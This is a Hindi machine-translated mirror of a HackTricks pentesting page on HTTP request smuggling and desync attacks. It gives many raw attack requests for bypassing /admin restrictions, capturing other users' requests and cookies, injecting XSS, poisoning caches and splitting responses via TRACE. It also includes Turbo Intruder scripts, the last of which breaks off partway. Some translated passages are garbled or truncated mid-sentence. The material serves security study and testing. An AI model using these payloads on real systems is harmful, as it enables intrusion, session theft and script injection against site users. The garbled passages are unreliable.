Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 13:13:41 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/http-request-smuggling/README.md

54 KiB
Raw Blame History

HTTP Request Smuggling / HTTP Desync Attack

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

क्या है

यह सुरक्षा दोष एक अवैतनिकरण की स्थिति होती है जिसमें फ्रंट-एंड प्रॉक्सी और बैक-एंड सर्वर के बीच एक हमलावर को एक HTTP अनुरोध भेजने की अनुमति देती है जो फ्रंट-एंड प्रॉक्सी (लोड बैलेंस/रिवर्स-प्रॉक्सी) द्वारा एकल अनुरोध के रूप में व्याख्या किया जाएगा और बैक-एंड सर्वर द्वारा 2 अनुरोध के रूप में व्याख्या किया जाएगा।
इससे एक उपयोगकर्ता को अपने बाद बैक-एंड सर्वर तक पहुंचने वाले अगले अनुरोध को संशोधित करने की स्वतंत्रता मिलती है।

सिद्धांत

RFC विनिर्देशन (2161)

यदि एक संदेश प्राप्त किया जाता है जिसमें एक ही समय में एक Transfer-Encoding हैडर फ़ील्ड और एक Content-Length हैडर फ़ील्ड है, तो अंतिम को नजरअंदाज किया जाना चाहिए।

Content-Length

Content-Length एंटिटी हैडर शरीर में भेजे गए बाइट में एंटिटी-बॉडी का आकार दर्शाता है।

Transfer-Encoding: chunked

Transfer-Encoding हैडर पेशेवर को पेशेवर को पेशेवर को सुरक्षित रूप से पेशेवर को पेशेवर करने के लिए उपयोग किए जाने वाले कोडिंग का रूप निर्धारित करता है।
Chunked यह दर्शाता है कि बड़े डेटा टुकड़ों में भेजा जाता है

वास्तविकता

फ्रंट-एंड (लोड-बैलेंस / रिवर्स प्रॉक्सी) content-length या transfer-encoding हेडर को प्रोसेस करता है और बैक-एंड सर्वर दूसरा प्रोसेस करता है जिससे 2 सिस्टमों के बीच एक अवैतनिकरण होता है।
यह बहुत महत्वपूर्ण हो सकता है क्योंकि एक हमलावर को एक अनुरोध भेजने की क्षमता होगी जो रिवर्स प्रॉक्सी को द्वारा एकल अनुरोध के रूप में व्याख्या किया जाएगा और बैक-एंड सर्वर द्वारा 2 अलग-अलग अनुरोध के रूप में व्याख्या किया जाएगा। इस तकनीक की खतरा इस तथ्य में निहित है कि बैक-एंड सर्वर दूसरा अनुरोध इंजेक्ट के रूप में व्याख्या करेगा जैसे कि यह अगले क्लाइंट से आया है और उस क्लाइंट का वास्तविक अनुरोध इंजेक्टेड अनुरोध का हिस्सा होगा।

विशेषताएँ

ध्यान रखें कि HTTP में नया पंक्ति वर्ण 2 बाइटों से बना होता है:

  • Content-Length: यह हेडर एक दशमलव संख्या का उपयोग करता है जो प्राप्ति-शरीर के बाइटों की संख्या को दर्शाता है। शरीर की अंतिम वर्ण में समाप्त होने की उम्मीद है, अनुरोध के अंत में नई पंक्ति की आवश्यकता नहीं है।
  • Transfer-Encoding: यह हेडर शरीर में एक हेक्साडेसिमल संख्या का उपयोग करता है जो अगले चंक की बाइटों की संख्या को दर्शाता है। चंक को एक नई पंक्ति के साथ समाप्त होना चाहिए लेकिन इस नई पंक्ति को लंबाई सूचक से नहीं गिना जाता है। यह स्थानांतरण विधि को 0 के आकार के चंक के साथ समाप्त करना चाहिए जिसे 2 नई पंक्तियों के बाद अनुसरण करना चाहिए: 0
  • Connection: मेरे अनुभव के आधार पर, अनुरोध स्मग्लिंग के पहले अनुरोध पर Connection: keep-alive का उपयोग करना अच्छा है।

मूल उदाहरण

{% hint style="success" %} इसे Burp Suite के साथ इसका शिकार बनाने की कोशिश करते समय Update Content-Length और Normalize HTTP/1 line endings को अक्षम करें क्योंकि कुछ गैजेट्स नई लाइन, कैरिज रिटर्न और गलत विषय-लंबाई का दुरुपयोग करते हैं। {% endhint %}

HTTP अनुरोध स्मग्लिंग हमले अस्पष्ट अनुरोध भेजकर बनाए जाते हैं जो फ्रंट-एंड और बैक-एंड सर्वरों के बीच Content-Length (CL) और Transfer-Encoding (TE) हेडर को कैसे व्याख्या करते हैं में अंतरों का शोषण करते हैं। ये हमले विभिन्न रूपों में प्रकट हो सकते हैं, मुख्य रूप से CL.TE, TE.CL, और TE.TE के रूप में। प्रत्येक प्रकार एक अद्वितीय संयोजन का प्रतिनिधित्व करता है जिस प्रकार से फ्रंट-एंड और बैक-एंड सर्वर इन हेडर्स को प्राथमिकता देते हैं। सुरक्षा दोष सर्वरों के एक ही अनुरोध को विभिन्न तरीकों से प्रसंस्कृत करने से उत्पन्न होते हैं, जिससे अप्रत्याशित और संभावित दुरुपयोगिता हो सकती है।

सुरक्षा दोष प्रकारों के मूल उदाहरण

https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104

CL.TE सुरक्षा दोष (फ्रंट-एंड द्वारा Content-Length का उपयोग, बैक-एंड द्वारा Transfer-Encoding का उपयोग)

  • फ्रंट-एंड (CL): Content-Length हेडर के आधार पर अनुरोध को प्रसंस्कृत करता है।
  • बैक-एंड (TE): Transfer-Encoding हेडर के आधार पर अनुरोध को प्रसंस्कृत करता है।
  • हमला स्नेहयुक्त:
  • हमलावर एक अनुरोध भेजता है जिसमें Content-Length हेडर की मान्यता वास्तविक सामग्री लंबाई से मेल नहीं खाती।
  • फ्रंट-एंड सर्वर Content-Length मान के आधार पर पूरे अनुरोध को बैक-

TE.TE वंरबिलिटी (दोनों द्वारा उपयोग किया गया Transfer-Encoding, छलावा के साथ)

  • सर्वर: दोनों Transfer-Encoding का समर्थन करते हैं, लेकिन एक को छलावा के माध्यम से इसे नजरअंदाज करने में धोखा दिया जा सकता है।
  • हमले का परिदृश्य:
  • हमलावर एक अविश्वसनीय Transfer-Encoding हेडर के साथ एक अनुरोध भेजता है।
  • किस सर्वर (फ्रंट-एंड या बैक-एंड) को छलावा पहचानने में विफल होता है, उसके आधार पर एक CL.TE या TE.CL वंरबिलिटी का शिकार किया जा सकता है।
  • अनुरोध का अप्रसंस्कृत भाग, जो किसी सर्वर द्वारा देखा जाता है, एक आगामी अनुरोध का हिस्सा बन जाता है, जिससे smuggling होती है।
  • उदाहरण:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL परिदृश्य (फ्रंट-एंड और बैक-एंड द्वारा उपयोग किया गया सामग्री-लंबाई):

  • दोनों सर्वर केवल Content-Length हेडर पर आधारित अनुरोध का प्रसंस्करण करते हैं।
  • यह परिदृश्य सामान्यत: smuggling में नहीं ले जाता, क्योंकि दोनों सर्वरों के अनुरोध लंबाई को कैसे व्याख्या करते हैं में समरूपता होती है।
  • उदाहरण:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

सामान्य अनुरोध

CL != 0 परिदृश्य:

  • उन स्थितियों को संदर्भित करता है जहां Content-Length हेडर मौजूद है और शून्य के बराबर अन्य मान है, जिससे यह स्पष्ट होता है कि अनुरोध बॉडी में सामग्री है।
  • यह smuggling हमलों को समझने और तैयार करने में महत्वपूर्ण है, क्योंकि यह सर्वरों को अनुरोध के अंत को कैसे निर्धारित करता है।
  • उदाहरण:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

गैर-खाली बॉडी

हॉप-बाई-हॉप हेडर्स के माध्यम से जबरदस्ती

हॉप-बाई-हॉप हेडर्स का दुरुपयोग करके आप प्रॉक्सी को संकेतित कर सकते हैं कि हेडर Content-Length या Transfer-Encoding को हटा दें ताकि HTTP अनुरोध smuggling का दुरुपयोग किया जा सके।

Connection: Content-Length

HTTP अनुरोध स्मग्लिंग का पता लगाना

HTTP अनुरोध स्मग्लिंग की वंशानुरोध दोष सामग्री का उपयोग करके अक्सर समय तकनीकों का उपयोग करके प्राप्त किया जा सकता है, जो यह देखने पर निर्भर करते हैं कि सर्वर को संशोधित अनुरोधों का जवाब देने में कितना समय लगता है। ये तकनीकें सी.एल.टी. और टी.ई.सी.एल. दोषों का पता लगाने के लिए विशेष रूप से उपयोगी हैं। इन विधियों के अलावा, ऐसी दोषों को खोजने के लिए अन्य रणनीतियाँ और उपकरण हैं जो इस प्रकार की दोषों को खोजने में उपयोग किया जा सकता है:

समय तकनीकों का उपयोग करके सी.एल.टी. दोषों का पता लगाना

  • विधि:
  • एक अनुरोध भेजें जो यदि एप्लिकेशन दोषयुक्त है, तो पीछे की ओर सर्वर को अतिरिक्त डेटा के लिए प्रतीक्षा करने के लिए बाध्य करेगा।
  • उदाहरण:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0
  • अवलोकन:
  • फ्रंट-एंड सर्वर सामग्री-लंबाई पर आधारित अनुरोध को प्रसंस्करण करता है और संदेश को पहले ही काट देता है।
  • पीछे की ओर सर्वर, एक चंक संदेश की अपेक्षा करते हुए, अगले चंक की प्रतीक्षा करता है जो कभी नहीं आता, जिससे देरी होती है।
  • संकेतक:
  • प्रतिक्रिया में समय समाप्ति या लंबी देरी।
  • पीछे की ओर सर्वर से 400 बैड अनुरोध त्रुटि प्राप्त करना, कभी-कभी विस्तृत सर्वर सूचना के साथ।

समय तकनीकों का उपयोग करके टी.ई.सी.एल. दोषों का पता लगाना

  • विधि:
  • एक अनुरोध भेजें जो यदि एप्लिकेशन दोषयुक्त है, तो पीछे की ओर सर्वर को अतिरिक्त डेटा के लिए प्रतीक्षा करने के लिए बाध्य करेगा।
  • उदाहरण:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
  • अवलोकन:
  • फ्रंट-एंड सर्वर स्थानांतरण-कोडिंग पर आधारित अनुरोध को प्रसंस्करण करता है और पूरे संदेश को आगे भेजता है।
  • पीछे की ओर सर्वर, सामग्री-लंबाई पर आधारित संदेश की अपेक्षा करते हुए, अतिरिक्त डेटा की प्रतीक्षा करता है जो कभी नहीं आता, जिससे देरी होती है।
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

टी.ई.ए अटैक में, प्रारंभिक अनुरोध के लिए Content-Length हेडर का उपयोग किया जाता है, जबकि आगंतुक एम्बेडेड अनुरोध Transfer-Encoding: chunked हेडर का उपयोग करता है। फ्रंट-एंड प्रॉक्सी प्रारंभिक POST अनुरोध को प्रोसेस करता है लेकिन एम्बेडेड GET /admin अनुरोध की जांच नहीं करता, जिससे /admin पथ तक अनधिकृत पहुंच मिलती है।

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

उल्टे, TE.CL हमले में, प्रारंभिक POST अनुरोध Transfer-Encoding: chunked का उपयोग करता है, और आगंतुक एम्बेडेड अनुरोध Content-Length हेडर के आधार पर प्रसंस्कृत किया जाता है। CL.TE हमले की तरह, फ्रंट-एंड प्रॉक्सी छिपे हुए GET /admin अनुरोध को नजरअंदाज करता है, जिससे गलती से प्रतिबंधित /admin पथ तक पहुंच मिलता है।

फ्रंट-एंड अनुरोध पुनर्लेखन का खुलासा

अनुप्रयोग अक्सर एक फ्रंट-एंड सर्वर का उपयोग करते हैं जो आगंतुक अनुरोधों में परिवर्तन करते हैं पहले उन्हें पीछे के सर्वर को पारित करने से पहले। एक सामान्य परिवर्तन में शीर्षक जोड़ना शामिल है, जैसे कि X-Forwarded-For: <ग्राहक का आईपी> जैसे हेडर, जो ग्राहक का आईपी पीछे के सर्वर को पहुंचाने के लिए होता है। इन परिवर्तनों को समझना महत्वपूर्ण हो सकता है, क्योंकि यह संरक्षण को छलने या छिपे हुए जानकारी या अंत्यस्थान को खोलने के तरीके प्रकट कर सकता है।

एक प्रॉक्सी जिसे अनुरोध कैसे बदलता है की जांच करने के लिए, एक पोस्ट पैरामीटर का पता लगाएं जिसे पीछे के सर्वर उत्तर में दोहराता है। फिर, इस पैरामीटर का उपयोग करते हुए एक अनुरोध तैयार करें, जैसे निम्नलिखित:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

इस संरचना में, अगले अनुरोध घटक search= के बाद जोड़े जाते हैं, जो प्रतिक्रिया में प्रकट होता है। यह प्रकट होने से अगले अनुरोध के हेडर्स उजागर होंगे।

Content-Length हेडर को घनत्व के वास्तविक लंबाई के साथ घोसित अनुरोध के साथ संरेखित करना महत्वपूर्ण है। एक छोटे मूल्य से शुरू करके सीधे बढ़ाते हुए उचित है, क्योंकि बहुत कम मूल्य से डेटा को काट देगा, जबकि बहुत उच्च मूल्य अनुरोध को त्रुटि दिखा सकता है।

यह तकनीक एक TE.CL जो vulnerability में भी लागू है, लेकिन अनुरोध को search=\r\n0 के साथ समाप्त करना चाहिए। न्यूलाइन वर्णों के बावजूद, मान खोज पैरामीटर में जोड़ देगा।

यह विधि मुख्य रूप से फ्रंट-एंड प्रॉक्सी द्वारा किए गए अनुरोध संशोधनों को समझने के लिए सेवानिवृत्त जांच करने के रूप में काम करती है।

अन्य उपयोगकर्ताओं के अनुरोध कैप्चर करना

एक निश्चित अनुरोध को पैरामीटर के मान के रूप में जोड़कर, आप अगले उपयोगकर्ता का अनुरोध संग्रहित कर सकते हैं:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

इस स्थिति में, कमेंट पैरामीटर का उद्देश्य किसी सार्वजनिक एक्सेस पेज पर पोस्ट के कमेंट सेक्शन में सामग्री को स्टोर करना है। इसका परिणामस्वरूप, आगामी अनुरोध की सामग्री को कमेंट के रूप में प्रकट होगी।

हालांकि, इस तकनीक की कुछ सीमाएँ हैं। सामान्य रूप से, यह केवल उस सीमा तक डेटा को कैप्चर करता है जो स्मगल्ड अनुरोध में उपयोग किया गया है। URL-encoded फॉर्म सबमिशन के लिए, यह सीमांकक & वर्ण होता है। इसका अर्थ है कि पीड़ित उपयोगकर्ता के अनुरोध से कैप्चर की गई सामग्री पहले & पर रुकेगी, जो क्वेरी स्ट्रिंग का हिस्सा भी हो सकता है।

इसके अतिरिक्त, यह ध्यान देने योग्य है कि यह दृष्टिकोण भी एक TE.CL भयानकता के साथ संभव है। इस प्रकार के मामलों में, अनुरोध को search=\r\n0 के साथ समाप्त करना चाहिए। न्यूलाइन वर्णों के बावजूद, मान सर्च पैरामीटर में जोड़े जाएंगे।

रिफ्लेक्टेड XSS का शोषण करने के लिए HTTP अनुरोध स्मगलिंग का उपयोग

HTTP अनुरोध स्मगलिंग का उपयोग करके वेब पेजों को शोषित रिफ्लेक्टेड XSS के लिए भेद्य बनाया जा सकता है, जो महत्वपूर्ण लाभ प्रदान करता है:

  • लक्षित उपयोगकर्ताओं के साथ आवश्यक नहीं है।
  • HTTP अनुरोध हेडर्स जैसे क्षेत्रों में XSS का शोषण करने की अनुमति देता है जो सामान्य रूप से अनुपलब्ध होते हैं।

उन स्थितियों में जहाँ वेबसाइट उपयोगकर्ता-एजेंट हेडर के माध्यम से रिफ्लेक्टेड XSS के लिए संवेदनशील है, निम्नलिखित पेलोड दिखाता है कि इस भेद्यता का शोषण कैसे किया जा सकता है:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

यह पेलोड दुरुपयोग करने के लिए संरचित है द्वारा:

  1. एक POST अनुरोध प्रारंभ करना, जो सामान्य दिखाई देता है, एक Transfer-Encoding: chunked हेडर के साथ, जिससे smuggling की शुरुआत का संकेत मिलता है।
  2. 0 के साथ आगे बढ़ना, जो चंक मैसेज बॉडी का समापन करता है।
  3. फिर, एक smuggled GET अनुरोध पेश किया जाता है, जिसमें User-Agent हेडर में एक स्क्रिप्ट, <script>alert(1)</script>, इंजेक्ट किया जाता है, जब सर्वर इस उसके बाद के अनुरोध को प्रोसेस करता है।

User-Agent को smuggling के माध्यम से मनिपुलेट करके, पेलोड सामान्य अनुरोध प्रतिबंधों को छलकर, इस प्रकार एक गैर-मानक लेकिन प्रभावी तरीके से Reflected XSS दुरुपयोग करता है।

HTTP Request Smuggling के साथ On-site Redirects का दुरुपयोग

एप्लिकेशन अक्सर Host हेडर से रीडायरेक्ट URL में होस्टनाम का उपयोग करके एक URL से दूसरे URL पर रीडायरेक्ट करते हैं। यह वेब सर्वर्स जैसे Apache और IIS के साथ सामान्य है। उदाहरण के लिए, एक फोल्डर का अनुरोध एक ट्रेलिंग स्लैश के बिना करने पर एक रीडायरेक्ट में शामिल होने का परिणाम होता है:

GET /home HTTP/1.1
Host: normal-website.com

परिणाम:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

यह व्यवहार प्रतित लगता है, लेकिन HTTP अनुरोध अपराध का उपयोग करके उपयोगकर्ताओं को एक बाह्य साइट पर पुनर्निर्देशित किया जा सकता है। उदाहरण के लिए:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

यह चोरी गई अनुरोध एक हमलावर द्वारा नियंत्रित वेबसाइट पर अगले प्रसंस्कृत उपयोगकर्ता अनुरोध को पुनर्निर्देशित कर सकता है:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

परिणाम:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

एचटीटीपी रिक्वेस्ट स्मग्लिंग के माध्यम से वेब कैश पॉइज़निंग का शोध

वेब कैश पॉइज़निंग को क्रियान्वित किया जा सकता है अगर फ्रंट-एंड इंफ्रास्ट्रक्चर का कोई भाग सामग्री कैश करता है, सामान्यत: प्रदर्शन को बेहतर बनाने के लिए। सर्वर के प्रतिक्रिया को मोड़कर द्वारा, संभावना है कि कैश को पॉइज़न किया जा सके।

पहले हमने देखा कि सर्वर प्रतिक्रियाएँ कैसे बदली जा सकती हैं ताकि 404 त्रुटि लौटाई जा सके (संदर्भ के लिए मूल उदाहरण देखें)। उसी तरह, संभावना है कि सर्वर को धोखा देकर /static/include.js के लिए अनुरोध करने पर /index.html सामग्री प्रदान करने में सक्षम हो। इस परिणामस्वरूप, /static/include.js सामग्री को /index.html की साथ कैश में बदल दिया जाता है, जिससे /static/include.js उपयोगकर्ताओं के लिए अगंतुक हो जाता है, संभावित रूप से एक डीनायल ऑफ सर्विस (DoS) की ओर ले जाता है।

यह तकनीक विशेष रूप से प्रभावी हो जाती है अगर ओपन रीडायरेक्ट सुरक्षा दोष खोजा जाता है या यदि ओन-साइट रीडायरेक्ट को ओपन रीडायरेक्ट किया जाता है। ऐसी कमियों का शोध किया जा सकता है ताकि /static/include.js कैश सामग्री को एक हमलावर के नियंत्रण में स्क्रिप्ट के साथ बदल दिया जा सके, मूल रूप से सभी उपयोगकर्ताओं के लिए एक व्यापक क्रॉस-साइट स्क्रिप्टिंग (XSS) हमला सक्षम करने के लिए अपडेट किए गए /static/include.js का अनुरोध करने वाले सभी ग्राहकों के खिलाफ।

नीचे कैश पॉइज़निंग का शोध करने के साथ ओन-साइट रीडायरेक्ट को ओपन रीडायरेक्ट का उपयोग करने का एक चित्रण है। उद्देश्य है कि /static/include.js कैश सामग्री को हमलावर द्वारा नियंत्रित जावास्क्रिप्ट को सेव करने के लिए बदल दिया जाए:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

नोट करें कि एम्बेडेड रिक्वेस्ट /post/next?postId=3 को लक्षित किया गया है। यह रिक्वेस्ट /post?postId=4 पर रीडायरेक्ट किया जाएगा, होस्ट हेडर मान का उपयोग करके डोमेन निर्धारित करने के लिए। होस्ट हेडर को बदलकर, हमलावता अपने डोमेन पर रिक्वेस्ट को रीडायरेक्ट कर सकता है (ऑन-साइट रीडायरेक्ट से ओपन रीडायरेक्ट।)

सफल सॉकेट पॉइजनिंग के बाद, /static/include.js के लिए जीईटी रिक्वेस्ट प्रारंभ किया जाना चाहिए। यह रिक्वेस्ट पूर्व ऑन-साइट रीडायरेक्ट से ओपन रीडायरेक्ट रिक्वेस्ट द्वारा प्रदूषित होगा और हमलावता द्वारा नियंत्रित स्क्रिप्ट की सामग्री प्राप्त करेगा।

इसके बाद, /static/include.js के लिए कोई भी रिक्वेस्ट हमलावता के स्क्रिप्ट की कैश की सामग्री सेव करेगा, जिससे व्यापक एक्सएसएस हमला शुरू हो जाएगा।

वेब कैश धोखाधड़ी करने के लिए एचटीटीपी रिक्वेस्ट स्मगलिंग का उपयोग करना

वेब कैश पॉइजनिंग और वेब कैश धोखाधड़ी में क्या अंतर है?

  • वेब कैश पॉइजनिंग में, हमलावता अनुप्रयोग को कुछ दुर्भाग्यपूर्ण सामग्री को कैश में संग्रहित करने के लिए मजबूर करता है, और यह सामग्री कैश से अन्य अनुप्रयोग उपयोगकर्ताओं को प्रदान की जाती है।
  • वेब कैश धोखाधड़ी में, हमलावता अनुप्रयोग को किसी अन्य उपयोगकर्ता की कुछ संवेदनशील सामग्री को कैश में संग्रहित करने के लिए मजबूर करता है, और फिर हमलावता इस सामग्री को कैश से प्राप्त करता है।

हमलावता एक स्मगलिंग रिक्वेस्ट तैयार करता है जो संवेदनशील उपयोगकर्ता-विशिष्ट सामग्री प्राप्त करता है। निम्नलिखित उदाहरण का विचार करें:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

यदि यह गुप्तिचारी अनुरोध कैश प्रविष्टि को दुरस्त सामग्री के लिए हो (उदा., /someimage.png), तो पीड़ित के संवेदनशील डेटा /private/messages स्थायी सामग्री की कैश प्रविष्टि के तहत कैश किया जा सकता है। इसका परिणामस्वरूप, हमलावादी इन कैश किए गए संवेदनशील डेटा को पुनः प्राप्त कर सकता है।

HTTP अनुरोध स्मगलिंग के माध्यम से TRACE का दुरुपयोग

इस पोस्ट में सुझाया गया है कि यदि सर्वर में TRACE विधि सक्षम है तो इसे HTTP अनुरोध स्मगलिंग के साथ दुरुपयोग किया जा सकता है। इसका कारण यह है कि यह विधि सर्वर को भेजे गए किसी भी हेडर को प्रतिक्रिया के शरीर के रूप में प्रतिबिंबित करेगा। उदाहरण के लिए:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

एक प्रतिक्रिया भेजेंगे जैसे:

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

इस व्यवहार का दुरुपयोग करने का एक उदाहरण है पहले एक HEAD अनुरोध smuggle करना। इस अनुरोध का केवल हेडर्स एक GET अनुरोध के हिस्से के रूप में प्रतिसाद मिलेगा (Content-Type में भी शामिल है)। और फिर तुरंत HEAD के बाद एक TRACE अनुरोध smuggle करना, जो भेजे गए डेटा को प्रतिबिम्बित करेगा।
क्योंकि HEAD प्रतिसाद में Content-Length हेडर शामिल होगा, इसलिए TRACE अनुरोध का प्रतिसाद HEAD प्रतिसाद के शरीर के रूप में व्यवहृत किया जाएगा, इसलिए प्रतिसाद में अनियमित डेटा प्रतिबिम्बित होगा।
यह प्रतिसाद अगले कनेक्शन पर अगले अनुरोध को भेजा जाएगा, इसलिए इसे एक कैश्ड JS फ़ाइल में उदाहरण के रूप में उपयोग किया जा सकता है ताकि अनियमित JS कोड इंजेक्ट किया जा सके।

HTTP प्रतिक्रिया स्प्लिटिंग के माध्यम से TRACE का दुरुपयोग

इस पोस्ट का पालन करते रहना सुझाया गया है जिसमें एक और तरीका बताया गया है कि TRACE विधि का दुरुपयोग कैसे किया जा सकता है। जैसा की टिप्पणी की गई है, HEAD अनुरोध और TRACE अनुरोध smuggle करने के द्वारा हेड अनुरोध के प्रतिसाद में कुछ प्रतिबिम्बित डेटा को नियंत्रित करना संभव है। हेड अनुरोध के शरीर की लंबाई मुख्य रूप से Content-Length हेडर में सूचित की जाती है और यह TRACE अनुरोध के प्रतिसाद से बनती है।

इसलिए, नई विचारधारा यह होगी कि, इस Content-Length और TRACE प्रतिसाद में दिए गए डेटा को जानते हुए, TRACE प्रतिसाद में एक मान्य HTTP प्रतििक्रिया शामिल करना संभव होगा जिसके अंतिम बाइट के बाद Content-Length, एक हमलावर को अनुरोध को पूरी तरह से नियंत्रित करने की अनुमति देगा (जिसे कैश पॉइज़निंग करने के लिए उपयोग किया जा सकता है)।

उदाहरण:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

यह प्रतिक्रियाएं उत्पन्न करेगा (ध्यान दें कि HEAD प्रतिक्रिया में Content-Length है जिससे TRACE प्रतिक्रिया HEAD शरीर का हिस्सा बनती है और एक वैध HTTP प्रतिक्रिया जब HEAD Content-Length समाप्त होता है, तो smuggled किया जाता है):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

HTTP रिक्वेस्ट स्मग्लिंग को एचटीटीपी रिस्पॉन्स डिसेंक्रोनाइजेशन के साथ हथियाना

क्या आपने कोई एचटीटीपी रिक्वेस्ट स्मग्लिंग वलनरेबिलिटी खोजी है और आप इसे कैसे एक्सप्लॉइट करें, इसका पता नहीं है। इसके लिए अन्य एक्सप्लोइटेशन विधि को आजमाएं:

{% content-ref url="../http-response-smuggling-desync.md" %} http-response-smuggling-desync.md {% endcontent-ref %}

अन्य HTTP रिक्वेस्ट स्मग्लिंग तकनीकें

  • ब्राउज़र HTTP रिक्वेस्ट स्मग्लिंग (क्लाइंट साइड)

{% content-ref url="browser-http-request-smuggling.md" %} browser-http-request-smuggling.md {% endcontent-ref %}

  • एचटीटीपी/२ डाउनग्रेड में रिक्वेस्ट स्मग्लिंग

{% content-ref url="request-smuggling-in-http-2-downgrades.md" %} request-smuggling-in-http-2-downgrades.md {% endcontent-ref %}

टर्बो इंट्रूडर स्क्रिप्ट्स

सीएल.टी

से https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

टीई.सी.एल

From: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
